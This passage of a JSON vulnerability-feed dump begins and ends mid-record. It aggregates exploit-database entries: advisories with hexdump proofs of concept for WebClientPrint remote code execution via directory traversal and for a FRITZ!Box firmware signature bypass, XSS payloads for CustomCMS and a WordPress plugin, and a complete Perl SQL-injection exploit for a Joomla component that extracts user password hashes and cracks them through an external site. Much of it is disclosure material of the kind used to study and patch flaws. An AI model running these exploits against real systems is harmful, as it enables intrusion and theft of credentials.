"https://0day.today/exploit/29910"}, {"lastseen": "2018-04-02T09:34:18", "bulletinFamily": "exploit", "description": "WebClientPrint Processor version 2.0.15.109 suffers from a remote code execution vulnerability via print jobs.", "modified": "2017-08-23T00:00:00", "published": "2017-08-23T00:00:00", "href": "https://0day.today/exploit/description/28362", "id": "1337DAY-ID-28362", "title": "WebClientPrint Processor 2.0.15.190 Print Jobs Remote Code Execution Vulnerability", "type": "zdt", "sourceData": "Advisory: WebClientPrint Processor 2.0: Remote Code Execution via Print Jobs\r\n\r\nRedTeam Pentesting discovered that malicious print jobs can be used to\r\ntrigger a remote code execution vulnerability in WebClientPrint\r\nProcessor (WCPP). These print jobs may be distributed via specially\r\ncrafted websites and are processed without any user interaction as soon\r\nas the website is accessed.\r\n\r\nDetails\r\n=======\r\n\r\nProduct: Neodynamic WebClientPrint Processor\r\nAffected Versions: 2.0.15.109 (Microsoft Windows)\r\nFixed Versions: >= 2.0.15.910\r\nVulnerability Type: Remote Code Execution\r\nSecurity Risk: high\r\nVendor URL: http://www.neodynamic.com/\r\nVendor Status: fixed version released\r\nAdvisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2015-008\r\nAdvisory Status: published\r\nCVE: GENERIC-MAP-NOMATCH\r\nCVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH\r\n\r\n\r\nIntroduction\r\n============\r\n\r\nNeodynamic's WebClientPrint Processor is a client-side application which\r\nallows server-side applications to print documents on a client's printer\r\nwithout user interaction, bypassing the browser's print functionality.\r\nThe server-side application may be written in ASP.NET or PHP while on\r\nthe client-side multiple platforms and browsers are supported.\r\n\r\n\"Send raw data, text and native commands to client printers without\r\nshowing or displaying any print dialog box!\" (Neodynamic's website)\r\n\r\n\r\nMore Details\r\n============\r\n\r\nUpon installation under Microsoft Windows, WCPP registers itself as a\r\nhandler for the \"webclientprint\" URL scheme. Thus, any URL starting with\r\n\"webclientprint:\" is handled by WCPP. For example, entering\r\n\r\nwebclientprint:-about\r\n\r\nin the URL bar of a browser opens the about box of WCPP.\r\n\r\nIn order to automatically print a text file using WCPP, a URL such as\r\nthe following is requested (e.g. via JavaScript code or an iframe HTML\r\ntag in a website):\r\n\r\nwebclientprint:https://example.com/somedir/lorem.txt\r\n\r\nThe file lorem.txt conforms to Neodynamic's proprietary file format CPJ\r\nand contains the following data:\r\n\r\n-----------------------------------------------------------------------\r\n$ xxd lorem.txt\r\n00000000: 6370 6a02 fc0b 0000 070c 0000 7763 7050 cpj.........wcpP\r\n00000010: 463a 6632 3330 6262 3766 3965 3338 3437 F:f230bb7f9e3847\r\n00000020: 3633 6132 3765 6663 3565 6237 6633 6436 63a27efc5eb7f3d6\r\n00000030: 6661 2e54 5854 7c50 7269 6e74 6564 2042 fa.TXT|Printed B\r\n00000040: 7920 5765 6243 6c69 656e 7450 7269 6e74 y WebClientPrint\r\n00000050: 0d0a 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d ..==============\r\n00000060: 3d3d 3d3d 3d3d 3d3d 3d3d 3d0d 0a0d 0a4c ===========....L\r\n00000070: 6f72 656d 2069 7073 756d 2064 6f6c 6f72 orem ipsum dolor\r\n00000080: 2073 6974 2061 6d65 742c 2063 6f6e 7365 sit amet, conse\r\n00000090: 6374 6574 7572 2061 6469 7069 7363 696e ctetur adipiscin\r\n000000a0: 6720 656c 6974 2e20 4675 7363 6520 7572 g elit. Fusce ur\r\n[...]\r\n00000bc0: 6275 6c75 6d20 7675 6c70 7574 6174 6520 bulum vulputate\r\n00000bd0: 6d61 676e 6120 6772 6176 6964 6120 6e65 magna gravida ne\r\n00000be0: 7175 6520 696d 7065 7264 6965 7420 6163 que imperdiet ac\r\n00000bf0: 2076 6976 6572 7261 206e 756c 6c61 2073 viverra nulla s\r\n00000c00: 7573 6369 7069 742e 0150 4446 4372 6561 uscipit..PDFCrea\r\n00000c10: 746f 7241 636f 7069 616e 2054 6563 686e torAcopian Techn\r\n00000c20: 6963 616c 2043 6f6d 7061 6e79 202d 2031 ical Company - 1\r\n00000c30: 2057 6562 4170 7020 4c69 6320 2d20 3220 WebApp Lic - 2\r\n00000c40: 5765 6253 6572 7665 7220 4c69 637c xxxx WebServer Lic|xx\r\n00000c50: xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxxxxxxxxxxxxxx\r\n00000c60: xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxxxxxxxxxxxxxx\r\n00000c70: xxxx xxxx xxxx xxxxxx\r\n-----------------------------------------------------------------------\r\n\r\nIt was obtained from Neodynamic's online demo website[0]. Briefly, its\r\nstructure can be described as follows:\r\n\r\nOffset Size Usage\r\n-----------------------------------------------------------------------\r\n 0 3 magic bytes \"cpj\"\r\n 3 1 unknown\r\n 4 4 offset \"pc\" (32 bit LE) for printer configuration\r\n 8 4 offset \"lk\" (32 bit LE) for license key\r\n 0x0c 6 filename/content header \"wcpPF:\"\r\n 0x12 - filename and content separated by pipe (\"|\") character\r\npc+0x12 - printer configuration\r\nlk+0x12 - license key\r\n\r\nIn the example above, the file \"f230bb7f9e384763a27efc5eb7f3d6fa.TXT\"\r\nwould be printed on the printer with the name \"PDFCreator\". The license\r\nkey at the end of the file was intentionally redacted. Prior to\r\nprinting, the text file with the dummy content is created in the current\r\nuser's %TEMP% directory. Typically, this directory is located at:\r\n\r\nC:\\Users\\<user>\\AppData\\Local\\Temp\\\r\n\r\n\r\nProof of Concept\r\n================\r\n\r\nDuring RedTeam Pentesting's analysis of WCPP it was found that malicious\r\nCPJ files can be crafted that exploit a directory traversal bug in WCPP.\r\nSuch an example is given in the following hexdump, showing the file\r\nrce-user.txt:\r\n\r\n-----------------------------------------------------------------------\r\n$ xxd rce-user.txt\r\n00000000: 6370 6a02 0201 0000 0301 0000 7763 7050 cpj.........wcpP\r\n00000010: 463a 2e2e 5c2e 2e5c 526f 616d 696e 675c F:..\\..\\Roaming\\\r\n00000020: 4d69 6372 6f73 6f66 745c 5769 6e64 6f77 Microsoft\\Window\r\n00000030: 735c 5374 6172 7420 4d65 6e75 5c50 726f s\\Start Menu\\Pro\r\n00000040: 6772 616d 735c 5374 6172 7475 705c 5265 grams\\Startup\\Re\r\n00000050: 6454 6561 6d2e 6261 747c 4065 6368 6f20 dTeam.bat|@echo\r\n00000060: 6f66 660d 0a63 6c73 0d0a 6563 686f 2e0d off..cls..echo..\r\n00000070: 0a65 6368 6f20 5072 6f6f 662d 6f66 2d43 .echo Proof-of-C\r\n00000080: 6f6e 6365 7074 0d0a 6563 686f 202d 2d2d oncept..echo ---\r\n00000090: 2d2d 2d2d 2d2d 2d2d 2d2d 2d2d 2d0d 0a65 -------------..e\r\n000000a0: 6368 6f20 5265 6d6f 7465 2043 6f64 6520 cho Remote Code\r\n000000b0: 4578 6563 7574 696f 6e20 7669 6120 5765 Execution via We\r\n000000c0: 6243 6c69 656e 7450 7269 6e74 2076 322e bClientPrint v2.\r\n000000d0: 302e 3135 2e31 3039 0d0a 464f 5220 2f4c 0.15.109..FOR /L\r\n000000e0: 2025 2578 2049 4e20 2831 2c31 2c31 3829 %%x IN (1,1,18)\r\n000000f0: 2044 4f20 6563 686f 2e0d 0a73 7461 7274 DO echo...start\r\n00000100: 2063 616c 630d 0a70 6175 7365 0d0a 007c calc..pause...|\r\n-----------------------------------------------------------------------\r\n\r\nIn this example the filename is set to\r\n\r\n..\\..\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\RedTeam.bat\r\n\r\nwhich is appended to the %TEMP% directory as follows:\r\n\r\nC:\\Users\\<user>\\AppData\\Local\\Temp\\..\\..\\Roaming\\Microsoft\\Windows\\\r\nStart Menu\\Programs\\Startup\\RedTeam.bat\r\n\r\nAfter resolving the \"..\\..\\\" sequence contained in the filename, this\r\nyields the following path:\r\n\r\nC:\\Users\\<user>\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\\r\nStartup\\RedTeam.bat\r\n\r\nAs a consequence, the file content beginning at 0x5a is written to the\r\nfile RedTeam.bat in the current user's Startup folder. Therefore,\r\nRedTeam.bat will be executed once the affected user logs in again. As a\r\nproof of concept, a text will be displayed and Windows' calculator is\r\nexecuted.\r\n\r\nOn one hand, this exploit can be executed when the following URL is\r\nentered into the URL bar of a browser:\r\n\r\nwebclientprint:https://example.com/somedir/rce-user.txt\r\n\r\nOn the other hand, visiting users of a malicious website may be attacked\r\nwithout user interaction when the webclientprint URL is embedded into an\r\niframe as follows:\r\n\r\n-----------------------------------------------------------------------\r\n<html>\r\n<body>\r\n<iframe src=\"webclientprint:https://example.com/somedir/rce-user.txt\">\r\n</iframe>\r\n</body>\r\n</html>\r\n-----------------------------------------------------------------------\r\n\r\nThe proof of concept printed above contains no valid license key, so a\r\nnotification window is shown when the exploit is executed. However, this\r\ndoes not prevent successful exploitation. Attackers can easily add a\r\nvalid license key (e.g. by buying a license), so the window is not shown\r\nand there is no visual indication of exploitation anymore.\r\n\r\nThe proof of concept is designed to print using the default printer.\r\nSince WCPP does not seem to know how to print batch files, it exits\r\nsilently with the result that a successful attack does not print the\r\nbatch file.\r\n\r\n\r\nWorkaround\r\n==========\r\n\r\nAffected users should disable the WCPP handler and upgrade to a fixed\r\nversion as soon as possible.\r\n\r\n\r\nFix\r\n===\r\n\r\nInstall a WCPP version greater or equal to 2.0.15.910[1].\r\n\r\n\r\nSecurity Risk\r\n=============\r\n\r\nIf a user of WCPP visits an attacker-controlled website, arbitrary code\r\ncan be executed on the attacked user's computer. If a valid license key\r\nis provided, there is no visual indication of the ongoing attack.\r\nFurthermore, no user interaction is required to trigger the\r\nvulnerability once a malicious website is visited. It is therefore\r\nestimated that this vulnerability poses a high risk.\r\n\r\n\r\nTimeline\r\n========\r\n\r\n2015-08-24 Vulnerability identified\r\n2015-09-03 Customer approved disclosure to vendor\r\n2015-09-04 Asked vendor for security contact\r\n2015-09-04 CVE number requested\r\n2015-09-04 Vendor responded with security contact\r\n2015-09-07 Vendor notified\r\n2015-09-07 Vendor acknowledged receipt of advisory\r\n2015-09-15 Vendor released fixed version\r\n2015-09-16 Customer asked to wait with advisory release until all their\r\n clients are updated\r\n2017-07-31 Customer approved advisory release\r\n2017-08-22 Advisory released\r\n\r\n\r\nReferences\r\n==========\r\n\r\n[0] http://webclientprint.azurewebsites.net/\r\n[1] https://neodynamic.wordpress.com/2015/09/15/webclientprint-2-0-for-windows-clients-critical-update/\n\n# 0day.today [2018-04-02] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/28362"}, {"lastseen": "2018-02-06T23:19:44", "bulletinFamily": "exploit", "description": "The signature check of FRITZ!Box firmware images is flawed. Malicious code can be injected into firmware images without breaking the RSA signature. The code will be executed either if a manipulated firmware image is uploaded by the victim or if the victim confirms an update on the webinterface during a MITM attack.", "modified": "2015-01-22T00:00:00", "published": "2015-01-22T00:00:00", "id": "1337DAY-ID-23171", "href": "https://0day.today/exploit/description/23171", "type": "zdt", "title": "AVM FRITZ!Box Firmware Signature Bypass Vulnerability", "sourceData": "AVM FRITZ!Box: Firmware Signature Bypass\r\n\r\nThe signature check of FRITZ!Box firmware images is flawed. Malicious\r\ncode can be injected into firmware images without breaking the RSA\r\nsignature. The code will be executed either if a manipulated firmware\r\nimage is uploaded by the victim or if the victim confirms an update on\r\nthe webinterface during a MITM attack.\r\n\r\n\r\nDetails\r\n=======\r\n\r\nProduct: AVM FRITZ!Box 7490, 7390, 7270v3 and other models\r\nAffected Versions:\r\n FRITZ!Box 6810 LTE, since firmware 5.22,\r\n FRITZ!Box 6840 LTE, since firmware 5.23,\r\n other models, since firmware 5.50\r\nFixed Versions:\r\n FRITZ!Box 7270, since firmware 6.05,\r\n FRITZ!Box 7270v3, since firmware 6.05,\r\n FRITZ!Box 7240, since firmware 6.05,\r\n other models, since firmware 6.20\r\n\r\nVulnerability Type: Improper Verification of Cryptographic Signature\r\nSecurity Risk: medium\r\nVendor URL: http://avm.de\r\nVendor Status: fixed version released\r\nAdvisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2014-010\r\nAdvisory Status: published\r\nCVE: CVE-2014-8872\r\nCVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-8872\r\n\r\n\r\nIntroduction\r\n============\r\n\r\nFRITZ!Box is the brand name of SOHO routers/CPEs manufactured by AVM\r\nGmbH. The FRITZ!Box usually combines features such as an xDSL modem\r\nfunctionality, routing, wifi access, VoIP, NAS and DECT.\r\n\r\n\r\nMore Details\r\n============\r\n\r\nAVM regularly publishes firmware updates to address bugs and to\r\nintroduce new features. Those updates are cryptographically signed to\r\navoid tampering. The firmware image can either be uploaded manually or\r\nthe FRITZ!Box downloads it semi-automatically from\r\nhttp://download.avm.de via unencrypted HTTP if a new version is\r\navailable.\r\n\r\nTechnically, AVM firmware images are tar files.\r\n\r\n $ tar --list --file FRITZ.Box_7490.113.06.05.image\r\n ./var/\r\n ./var/regelex\r\n ./var/install\r\n ./var/info.txt\r\n ./var/tmp/\r\n ./var/tmp/filesystem.image\r\n ./var/tmp/kernel.image\r\n ./var/chksum\r\n ./var/signature\r\n\r\nThe firmware image contains a shell script called ./var/install, which\r\nwill be invoked after successful verification of the image. It is\r\nresponsible for flashing the new firmware.\r\n\r\nIn a tar archive, each file is described by a 512 byte header followed\r\nby n*512 bytes of file content. The end of a tar archive is represented\r\nby 1024 null bytes after the last content block. In some cases, AVM\r\nappends up to 8 KiB of excess null bytes. The whole tar archive,\r\nincluding these additional null bytes, is covered by a cryptographic\r\nsignature that is stored in the file ./var/signature within the archive.\r\n\r\nThe file contains a 1024 bit RSA decrypted MD5 hash of the firmware\r\nimage. 1024 bytes of space (tar header+content) are normally allocated\r\nto the signature file. When calculating the MD5 hash, that space is\r\ntreated as null bytes.\r\n\r\nThe library libfwsign.so is responsible for the detection of the\r\nsignature file in the tar header of the uploaded firmware image. It uses\r\nthe strstr() function of the C standard library like this:\r\n\r\n if (strstr(filename, \"/var/signature\"))\r\n {\r\n // signature file found.\r\n // update hash with 512 + n*512 null bytes.\r\n } else {\r\n // signature file not found.\r\n // update hash with tar header and content of current file.\r\n }\r\n\r\nTherefore, any of the following names will be treated as a signature\r\nfile and null bytes instead of the real content will be fed to the MD5\r\nhash function:\r\n\r\n ./var/signature\r\n /var/signature\r\n /tmp/var/signature/example\r\n ./var/signature/.././var/install\r\n\r\nIf such a file is placed after the last legitimate content block (where\r\nat least 1024 signed null bytes reside), the library libfwsign.so will\r\ncompute the same MD5 hash as it would do for an unmodified firmware\r\nimage. As a result, the modified firmware image will pass the signature\r\nverification.\r\n\r\nThe fourth file name, ./var/signature/.././var/install, contains a\r\ndirectory traversal. When parsed by tar, a warning will be generated and\r\nanything from the start of the file name up to /../ will be omitted. The\r\ncontent of the file will be extracted to ./var/install and the original\r\n./var/install file will be overwritten.\r\n\r\nThus, an attacker could easily inject malicious code into ./var/install,\r\nwhich will be executed after the manipulated firmware image has passed\r\nthe signature verification.\r\n\r\n\r\nProof of Concept\r\n================\r\n\r\nThe following command manipulates the latest firmware image for the\r\nFRITZ!Box 7490. When uploaded to a vulnerable FRITZ!Box 7490, all LEDs\r\nof the device will flash constantly to indicate that code execution has\r\noccured.\r\n\r\n------------------------------------------------------------------------\r\n$ xxd -r - FRITZ.Box_7490.113.06.20.image <<EOF\r\n17f2600: 2e2f 7661 722f 7369 676e 6174 7572 652f ./var/signature/\r\n17f2610: 2e2e 2f2e 2f76 6172 2f69 6e73 7461 6c6c .././var/install\r\n17f2620: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n*\r\n17f2660: 0000 0000 3030 3030 3737 3700 3030 3030 ....0000777.0000\r\n17f2670: 3030 3000 3030 3030 3030 3000 3030 3030 000.0000000.0000\r\n17f2680: 3030 3031 3030 3000 3030 3030 3030 3032 0001000.00000002\r\n17f2690: 3430 3700 3031 3532 3037 0020 3000 0000 407.015207. 0...\r\n17f26a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n*\r\n17f2700: 0075 7374 6172 2020 0072 6f6f 7400 0000 .ustar .root...\r\n17f2710: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n17f2720: 0000 0000 0000 0000 0072 6f6f 7400 0000 .........root...\r\n17f2730: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n*\r\n17f2800: 2321 2f62 696e 2f73 680a 6563 686f 2022 #!/bin/sh.echo \"\r\n17f2810: 6c65 642d 6374 726c 2070 6f77 6572 5f6f led-ctrl power_o\r\n17f2820: 6666 0a6c 6564 2d63 7472 6c20 776c 616e ff.led-ctrl wlan\r\n17f2830: 5f6f 6666 0a6c 6564 2d63 7472 6c20 7570 _off.led-ctrl up\r\n17f2840: 6461 7465 5f6c 6564 313d 300a 6c65 642d date_led1=0.led-\r\n17f2850: 6374 726c 2068 6172 6477 6172 655f 6572 ctrl hardware_er\r\n17f2860: 726f 720a 642d 6374 726c 2075 7064 6174 ror.d-ctrl updat\r\n17f2870: 655f 6c65 6431 3d30 0a6c 6564 2d63 7472 e_led1=0.led-ctr\r\n17f2880: 6c20 6861 7264 7761 7265 5f65 7272 6f72 l hardware_error\r\n17f2890: 2220 3e20 2f76 6172 2f66 6c61 7368 2f64 \" > /var/flash/d\r\n17f28a0: 6562 7567 2e63 6667 0a65 7869 7420 310a ebug.cfg.exit 1.\r\n17f28b0: 2345 4f46 0a00 0000 0000 0000 0000 0000 #EOF............\r\n17f28c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n*\r\n17f29f0: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\nEOF\r\n------------------------------------------------------------------------\r\n\r\n\r\nWorkaround\r\n==========\r\n\r\nCheck each firmware image manually for multiple occurrences of the\r\nstring \"/var/signature\" in file names using tar --list.\r\n\r\n\r\nFix\r\n===\r\n\r\nUpgrade to a fixed firmware version. Before upgrading, check the new\r\nfirmware image for suspicious file names (see \"Workaround\"). AVM should\r\nsecure the distribution of firmware images with TLS to prevent MITM\r\nattacks.\r\n\r\n\r\nSecurity Risk\r\n=============\r\n\r\nThis vulnerability allows an attacker to inject arbitrary code into AVM\r\nfirmware images while maintaining its cryptographic signature. If the\r\nattacker is able to perform a Man-in-the-Middle attack between the AVM\r\nFRITZ!Box and http://download.avm.de/, firmware images can be\r\nmanipulated in transit. Otherwise, attackers need to trick their victims\r\ninto installing a malicious firmware image. While successful attacks\r\nresult in the full compromise of a device, they would typically require an\r\nattacker in a very strong position. The vulnerability is therefore\r\nconsidered to pose a medium risk.\r\n\r\n\r\nTimeline\r\n========\r\n\r\n2014-03-10 Vulnerability identified\r\n2014-03-12 Vendor notified\r\n2014-05-27 Vendor released fixed version for FRITZ!Box 7270v3\r\n2014-08-12 Vendor released fixed version for FRITZ!Box 7490\r\n2014-09-09 Vendor released fixed version for FRITZ!Box 7390\r\n2014-11-14 CVE number assigned\r\n2014-12-08 Vendor provided updated list of affected and fixed models/versions\r\n2014-12-15 Vendor finished releasing fixed versions for all current models\r\n2015-01-21 Advisory released\n\n# 0day.today [2018-02-06] #", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://0day.today/exploit/23171"}, {"lastseen": "2018-01-09T17:07:00", "bulletinFamily": "exploit", "description": "Exploit for php platform in category web applications", "modified": "2010-07-13T00:00:00", "published": "2010-07-13T00:00:00", "id": "1337DAY-ID-13331", "href": "https://0day.today/exploit/description/13331", "type": "zdt", "title": "CustomCMS Persistent XSS Vulnerability", "sourceData": "======================================\r\nCustomCMS Persistent XSS Vulnerability\r\n======================================\r\n\r\n\r\n1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0\r\n0 _ __ __ __ 1\r\n1 /' \\ __ /'__`\\ /\\ \\__ /'__`\\ 0\r\n0 /\\_, \\ ___ /\\_\\/\\_\\ \\ \\ ___\\ \\ ,_\\/\\ \\/\\ \\ _ ___ 1\r\n1 \\/_/\\ \\ /' _ `\\ \\/\\ \\/_/_\\_<_ /'___\\ \\ \\/\\ \\ \\ \\ \\/\\`'__\\ 0\r\n0 \\ \\ \\/\\ \\/\\ \\ \\ \\ \\/\\ \\ \\ \\/\\ \\__/\\ \\ \\_\\ \\ \\_\\ \\ \\ \\/ 1\r\n1 \\ \\_\\ \\_\\ \\_\\_\\ \\ \\ \\____/\\ \\____\\\\ \\__\\\\ \\____/\\ \\_\\ 0\r\n0 \\/_/\\/_/\\/_/\\ \\_\\ \\/___/ \\/____/ \\/__/ \\/___/ \\/_/ 1\r\n1 \\ \\____/ >> Exploit database separated by exploit 0\r\n0 \\/___/ type (local, remote, DoS, etc.) 1\r\n1 1\r\n0 [+] Site : Inj3ct0r.com 0\r\n1 [+] Support e-mail : submit[at]inj3ct0r.com 1\r\n0 0\r\n1 ########################################## 1\r\n0 I'm Sid3^effects member from Inj3ct0r Team 1\r\n1 ########################################## 0\r\n0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1\r\n\r\nName : CustomCMS Persistent Xss Vulnerability\r\nDate : july 13,2010\r\nCritical Level : HIGH\r\nvendor URL :http://customcms.net/\r\nPrice:55$\r\nAuthor : Sid3^effects aKa HaRi\r\nspecial thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_\r\ngreetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz\r\n#######################################################################################################\r\nDescription\r\nCustom CMS Gaming is a Content Management System geared towards all Gamers that would like to maintain and create fully functional gaming\r\n\r\nsources. Whether you're interested in running your gaming site as a hobby or as a serious online venture, Custom CMS Gaming makes it easy for\r\n\r\nall users to create & manage the Gaming website they've always dreamed of.\r\n#######################################################################################################\r\nXploit: Persistent Xss Vulnerability\r\n\r\n\r\nThe attacker can insert the xss script in the profile section in the following fields\r\n\r\n1.Details option\r\n2.Gaming Connections option\r\n3.My Contact Info option\r\n4.Options option\r\n\r\nAttack Pattern:\">><marquee><h1>XSS3d By Sid3^effects</h1><marquee> once inserted goto check your profile.\r\n\r\n\r\nDemo url : http://customcms.net/demo/usercp/profile/edit/ ----> Go here and insert your xss script :)\r\n\r\n#######################################################################################################\r\n# 0day no more\r\n# Sid3^effects\r\n\r\n\n\n# 0day.today [2018-01-09] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/13331"}, {"lastseen": "2018-03-05T21:33:57", "bulletinFamily": "exploit", "description": "Exploit for unknown platform in category web applications", "modified": "2009-12-04T00:00:00", "published": "2009-12-04T00:00:00", "id": "1337DAY-ID-10080", "href": "https://0day.today/exploit/description/10080", "type": "zdt", "title": "WordPress Yoast GA 3.2.4 Plugin XSS", "sourceData": "================================\r\nYoast GA 3.2.4 Plugin for WP XSS\r\n================================\r\n\r\nInfo: The Google Analytics for WordPress plugin automatically tracks and\r\nsegments all outbound links from within posts, comment author links, links\r\nwithin comments, blogroll links and downloads. It also allows you to track\r\nAdSense clicks, add extra search engines, track image search queries and it\r\nwill even work together with Urchin.\r\n \r\nCredits: InterN0T\r\n \r\nExternal Links:\r\nhttp://yoast.com/wordpress/google-analytics/\r\n \r\n \r\n-:: The Advisory ::-\r\nOn line 353 in googleanalytics.php the following vulnerable code was identified:\r\n/**\r\n * If this is a 404 page, track the 404 and prevent all other stuff as it's not needed.\r\n*/\r\nif ( is_404() ) {\r\necho \"\\t\\t\".'pageTracker._trackPageview(\"/404.html?page=\" + document.location.pathname + document.location.search + \"&from=\" + document.referrer);'.\"\\n\";\r\necho \"\\t\".'} catch(err) {}'.\"\\n\";\r\necho '</script>'.\"\\n\";\r\n} else if ($wp_query->is_search && $wp_query->found_posts == 0) {\r\necho \"\\t\\t\".'pageTracker._trackPageview(\"'.get_bloginfo('url').'/?s=no-results: '.$wp_query->query_vars['s'].'&cat=no-results\");'.\"\\n\";\r\necho \"\\t\".'} catch(err) {}'.\"\\n\";\r\necho '</script>'.\"\\n\";\r\n \r\nIn order to trigger this bug, a 404 (Not Found) message must be the response when supplying the XSS code into the search-form.\r\n \r\nOne can either end the script tag or use javascript in order to abuse this issue.\r\n \r\n \r\nProof of Concept's:\r\nA. </script>alert(0)</script>\r\nB. \");alert(0);document.write(\"\r\n \r\nExample:\r\nA. hxxp://server/wp/?s=</script><script>alert(0)</script>\r\nB. hxxp://server/wp/?s=\");alert(0);document.write(\"\r\n \r\nIf magic_quotes is enabled inside php.ini, Proof of Concept (B) wont work.\r\n \r\n \r\n-:: Solution ::-\r\nThe following patch was supplied to the vendor:\r\n \r\nOn line 361 in googleanalytics.php the following piece of code is vulnerable to Cross Site Scripting:\r\necho \"\\t\\t\".'pageTracker._trackPageview(\"'.get_bloginfo('url').'/?s=no-results: '.$wp_query->query_vars['s'].'&cat=no-results\");'.\"\\n\";\r\n \r\nIn order to prevent this, One will have to use f.ex. htmlentities or rawurlencode to secure it:\r\necho \"\\t\\t\".'pageTracker._trackPageview(\"'.get_bloginfo('url').'/?s=no-results: '.rawurlencode($wp_query->query_vars['s']).'&cat=no-results\");'.\"\\n\";\r\n \r\nThe reason why we thought rawurlencode might be suitable is because htmlentities in a tracking URL might break the Google Analytics Tracking.\r\n\r\n\r\n\n# 0day.today [2018-03-05] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/10080"}, {"lastseen": "2018-01-06T03:01:43", "bulletinFamily": "exploit", "description": "Exploit for unknown platform in category web applications", "modified": "2008-12-03T00:00:00", "published": "2008-12-03T00:00:00", "id": "1337DAY-ID-4341", "href": "https://0day.today/exploit/description/4341", "type": "zdt", "title": "Joomla Component com_jmovies 1.1 (id) SQL Injection Exploit", "sourceData": "===========================================================\r\nJoomla Component com_jmovies 1.1 (id) SQL Injection Exploit\r\n===========================================================\r\n\r\n\r\n#!/usr/bin/perl -w\r\n# -----------------------------------------------------------\r\n# Joomla Component com_jmovies 1.1 (id) SQL Injection Exploit\r\n# by s3rg3770 with athos :)\r\n# demo http://www.disneyrama.com\r\n# -----------------------------------------------------------\r\n# Note: In lulz we trust :O\r\n# -----------------------------------------------------------\r\n\r\nuse strict;\r\nuse LWP::UserAgent;\r\nuse LWP::Simple;\r\n\r\n\r\nmy $host = shift;\r\nmy $myid = shift or &help;\r\n\r\nmy $path = \"/index.php?option=com_jmovies&Itemid=29&task=detail&id=-1+\".\r\n \"union+select+1,concat(0x215F,username,0x3a,password,0x215F)+\".\r\n \"from+jos_users+where+id=${myid}--\";\r\n\r\nmy $http = new LWP::UserAgent(\r\n agent => 'Mozilla/4.5 [en] (Win95; U)',\r\n timeout => '5',\r\n ); \r\n\r\n\r\nmy $response = $http->get($host.$path); \r\n\r\nif($response->content =~ /!_(.+?)!_/i)\r\n{\r\n print STDOUT \"Hash MD5: $1\\n\";\r\n print STDOUT \"Password: \".search_md5($1).\"\\n\";\r\n exit;\r\n}\r\nelse\r\n{\r\n print STDOUT \"Exploit Failed!\\n\";\r\n exit;\r\n}\r\n\r\n\r\n\r\nsub search_md5\r\n{\r\n my $hash = shift @_;\r\n my $cont = undef;\r\n\r\n $cont = get('http://md5.rednoize.com/?p&s=md5&q='.$hash);\r\n \r\n if(length($hash) < 32 && !is_error($cont))\r\n {\r\n return $cont;\r\n }\r\n} \r\n\r\n\r\nsub help\r\n{\r\n print STDOUT \"Usage: perl $0 [host] [user ID]\\n\";\r\n print STDOUT \"by athos - staker[at]hotmail[dot]it\\n\";\r\n exit;\r\n}\r\n\r\n\r\n\n# 0day.today [2018-01-06] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/4341"}], "cve": [{"lastseen": "2019-05-29T18:20:29", "bulletinFamily": "NVD", "description": "The Pictview image processing library embedded in the ActivePDF toolkit through 2018.1.0.18321 is prone to multiple out of bounds write and sign errors, allowing a remote attacker to execute arbitrary code on vulnerable applications using the ActivePDF Toolkit to process untrusted images.", "modified": "2018-03-23T16:02:00", "id": "CVE-2018-7264", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-7264", "published": "2018-02-28T17:29:00", "title": "CVE-2018-7264", "type": "cve", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "kaspersky": [{"lastseen": "2019-03-21T00:14:04", "bulletinFamily": "info", "description": "### *Detect date*:\n12/13/2016\n\n### *Severity*:\nCritical\n\n### *Description*:\nMultiple serious vulnerabilities have been found in Microsoft Office. Malicious users can exploit these vulnerabilities to execute arbitrary code, obtain sensitive information, cause denial of service, gain priveleges.\n\n### *Affected products*:\nMicrosoft Excel 2007 Service Pack 3 \nMicrosoft Excel 2010 Service Pack 2 \nMicrosoft Excel 2013 Service Pack 1 \nMicrosoft Excel 2013 RT Service Pack 1 \nMicrosoft Excel 2016 \nMicrosoft Excel Viewer \nMicrosoft Excel 2011 for Mac \nMicrosoft Excel 2016 for Mac \nMicrosoft Word 2007 Service Pack 3 \nMicrosoft Word 2010 Service Pack 2 \nMicrosoft Office 2016 \nMicrosoft Word Viewer \nMicrosoft Word for Mac 2011 \nMicrosoft Office 2007 Service Pack 3 \nMicrosoft Office 2010 \nMicrosoft Office 2010 Service Pack 2 \nMicrosoft Office 2013 \nMicrosoft Office 2013 Service Pack 1 \nMicrosoft Office 2013 RT Service Pack 1 \nMicrosoft Office 2011 for Mac \nMicrosoft Office 2016 for Mac \nMicrosoft Office Compatibility Pack Service Pack 3 \nMicrosoft Publisher 2010 Service Pack 2 \nMicrosoft Auto 